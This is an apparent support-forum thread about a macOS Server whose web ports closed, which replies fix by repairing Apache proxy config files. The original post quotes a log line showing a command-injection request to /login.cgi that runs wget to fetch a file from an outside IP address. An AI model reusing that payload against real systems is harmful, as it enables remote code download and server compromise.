ports 80 and 443 suddenly closed on macos server

Question

Level 1

22 points

ports 80 and 443 suddenly closed on macos server

short story

Ports 80 & 443 seems to be closed on my MacOS Server (checked with Network Utility) -- cannot access any website from both local network and internet.

Have restarted the websites service & rebooted the server few times.

How to re-open ports 80 & 443?

long story

I have couple of websites hosted on my MacOS Server with the Websites service.

It was working okay until 2 days ago.

Yesterday I realised that I wasn't able to access any of the server's website neither via local network nor from the internet. After the investigation I realised that ports 80 and 443 aren't open on the server machine.

I have restarted the server couple of times, turned off and back on the Websites service, no change.

I cannot see anything too bad in the logs, apart from kinda weird request that seems to be the last access to the web server from the 'outside' world and reads as follows:

default 88.207.212.19 - - [23/Feb/2019:11:59:10 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://128.199.251.119/t.php%27$ HTTP/1.1" 302 331 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"

I run the older version of Server app - 5.6.3 on MacOS 10.13.6

I have not installed/updated nor changed anything on the Server or my local network in past few days.

Mac mini, macOS 10.13

Posted on Feb 24, 2019 1:15 AM

Reply

Answer 1

Top-ranking reply

req7777 Author

Level 1

22 points

Feb 26, 2019 3:45 AM in response to BDAqua

@BDAqua Thanks for the link! It helped to solve the problem.

Turned out that the `/Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites.conf` file became corrupted.

Luckily, there was a backup file in the same directory `/Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites.conf.previous` and simple swap solved the problem! (remember to restart the Websites service)

Not sure if this is relevant but it might:

From Etrecheck report I’ve noticed that there was an MacOS update about the time when the problem occurred:

2019-02-19 Security Update 2019-001 (10.13.6)

---

OT: 4GB RAM is a pain, no doubt about it. Funny thing -- this Mac has been purchased from Apple website only about 2 years ago! Still regret that didn’t put £80 more to double it :/ Mobile phones have more RAM by default these days :-) I've bought it as an emergency backup machine in case my MacBook Pro fails. A lesson here, never to buy a down-of-the-line gear from Apple.

@BDAqua, you mentioned that 1.5 GB is used for the video, do you know any trick to change it by any chance? I run this mac headless and only connect occasionally via Screen Sharing, have the dongle in the HDMI port, though, just to get a larger window via SS. Thanks.

Reply

Answer 2

req7777 Author

Level 1

22 points

Mar 9, 2019 1:44 AM in response to req7777

Ok, this time I’ve managed to repair Website service (and open ports 80 and 443) by commenting the last line of the following config file: /Library/Server/Web/Config/Proxy/apache_serviceproxy.conf

#IncludeOptional /Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites*.conf

Not sure how long that'll last this time ;-)

Reply

Answer 3

BDAqua

Level 10

250,253 points

Feb 24, 2019 11:47 AM in response to req7777

Post a report from this please...

EtreCheck is a simple little app to display the important details of your system configuration and allow you to copy that information to the Clipboard. It is meant to be used with Apple Support Communities to help people help you with your Mac.

http://www.etresoft.com/etrecheck

Reply

Answer 4

req7777 Author

Level 1

22 points

Feb 24, 2019 4:45 AM in response to req7777

**update**

I've noticed that I have a loads of entries in the server's system log:

`... com.apple.xpc.launchd[1] (com.apple.serviceproxy[__various port numbers__]): Service exited with abnormal code: 1`

`... com.apple.xpc.launchd[1] (com.apple.serviceproxy): Service only ran for 0 seconds. Pushing respawn out by 10 seconds.`

regardless of websites service running or not

Reply

Answer 5

BDAqua

Level 10

250,253 points

Feb 25, 2019 8:38 AM in response to req7777

I don't see any clues there as to why those ports are closed, I am feeling some pain for you after seeing it's soldered on 4GB of RAM that isn't upgradable with 1.5GB used for Video, tied to the slowest CPU Apple has used in 14 years.

Apple’s macOS Server 5.x has a rather different Apache configuration compared to the core macOS setup or those used in previous versions of Server. In particular, an instance of Apache is used as a proxy to any ‘backend’ copies of Apache. Here’s how to work around this…

https://blog.beezwax.net/2017/07/17/removing-macos-server-5-on-port-80-and-443-conflict/

Reply

Answer 6

req7777 Author

Level 1

22 points

Mar 8, 2019 12:13 PM in response to req7777

The problem came back today.

The trick described above didn't work.

(It might have had something to do with renewing the SSL certificate this time.)

No sure if it's possible to 'un-solve' the previously solved question here...

Reply

Answer 7

Mar 8, 2019 2:39 PM in response to req7777

VirtualBox and Torrents and Server.app all on a 4 GB Mac configuration is... optimistic.

With the relatively under-configured hardware here, and with the deprecation of most of Server.app at 5.7.1 and Mojave, might want to look at where you're headed.

With what hardware and software you'll be replacing this server with, if you're not going to try to run High Sierra until you can no longer connect.

An SSD might provide a decent performance upgrade, as at least you'll be paging to much faster storage.

Reply

Answer 8

req7777 Author

Level 1

22 points

Mar 9, 2019 12:48 AM in response to MrHoffman

@MrHoffman The Torrent and VirtualBox aren't in use. Just installed it to test something.

The only running apps are usually MacMail, PlexServer and GoodSync.

Not sure what you mean by running the Server.app on it, I usually connect via local network, sometimes from internet, with a macbook pro and run the server.app there.

The Server was working reasonably ok. Slow at times but stable, for few years, certainly never had a problem with ports suddenly being closed.

Surely will look for some other solution in the future, most likely linux for the websites, mail and dns.

Reply